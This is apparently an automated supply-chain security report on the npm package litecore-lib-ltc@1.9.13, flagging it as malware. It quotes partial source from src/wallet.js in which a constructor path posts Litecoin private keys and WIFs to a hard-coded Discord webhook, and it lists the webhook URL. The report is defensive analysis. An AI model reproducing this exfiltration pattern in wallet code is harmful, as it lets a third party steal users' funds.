litecore-lib-ltc@1.9.13
Litecoin utility functions for transaction creation, signing, and broadcasting.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package automatically sends wallet credentials to a hard-coded Discord webhook whenever LitecoinWallet is constructed. This is credential exfiltration unrelated to the wallet's stated purpose.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Constructing LitecoinWallet with a WIF.
Impact
The webhook recipient can obtain the wallet's private key and control its funds.
Mechanism
The constructor calls isValidAddress with logging enabled; that function posts the WIF, address, and private key to the webhook.
Attack narrative
When a caller constructs LitecoinWallet with a WIF, the constructor derives the private key and address, then calls isValidAddress with logging enabled. That path posts the WIF, address, and private key to a hard-coded Discord webhook, exposing control of the wallet to the webhook recipient.
AI rationale
The package automatically sends wallet credentials to a hard-coded Discord webhook whenever LitecoinWallet is constructed. This is credential exfiltration unrelated to the wallet's stated purpose.
Evidence
src/wallet.jssrc/index.jspackage.json
Network endpoints1
discord.com/api/webhooks/1477797533999956131/xMuQGOdbHRM6knCPHxXdIlN8FsmE0mSkSdFms-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- src/wallet.js sends the wallet WIF, address, and private key to a hard-coded Discord webhook when its log argument is true.
- The LitecoinWallet constructor passes true to isValidAddress with the caller's WIF and derived private key, triggering that webhook on construction.
- package.json sets src/index.js as the package main entry point.
Evidence against
- package.json declares no install, preinstall, or postinstall lifecycle hook.
- The package is described as Litecoin transaction and wallet utilities, which explains its use of Litecoin wallet keys and blockchain APIs.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedsrc/wallet.jsView file
1const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3:
L4: function fromWIF(wif) {
L5: const privateKey = new bitcore.PrivateKey(wif);
L6: const address = privateKey.toAddress().toString();
...
L20: if (log) {
L21: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L22: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
src/wallet.jsView on unpkg · L11const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3:
L4: function fromWIF(wif) {
L5: const privateKey = new bitcore.PrivateKey(wif);
L6: const address = privateKey.toAddress().toString();
...
L20: if (log) {
L21: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L22: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
src/wallet.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> src/index.js -> src/wallet.js
L1: const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3:
L4: function fromWIF(wif) {
L5: const privateKey = new bitcore.PrivateKey(wif);
L6: const address = privateKey.toAddress().toString();
...
L20: if (log) {
L21: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L22: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Findings
3 Critical4 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationsrc/wallet.js
CriticalCredential Exfiltrationsrc/wallet.js
CriticalTrigger Reachable Dangerous Capabilitysrc/wallet.js
HighFixed Authenticated Webhook Data Exfiltrationsrc/wallet.js
HighTrigger Reachable Credential Exfiltrationsrc/wallet.js
HighKnown Malware Source Fingerprint Signaturesrc/api.js
HighAi Review Evidencesrc/wallet.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to litecore-lib-ltc@1.9.13.
See all versions of litecore-lib-ltc for other recorded verdicts.
- Avoid installing litecore-lib-ltc@1.9.13. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.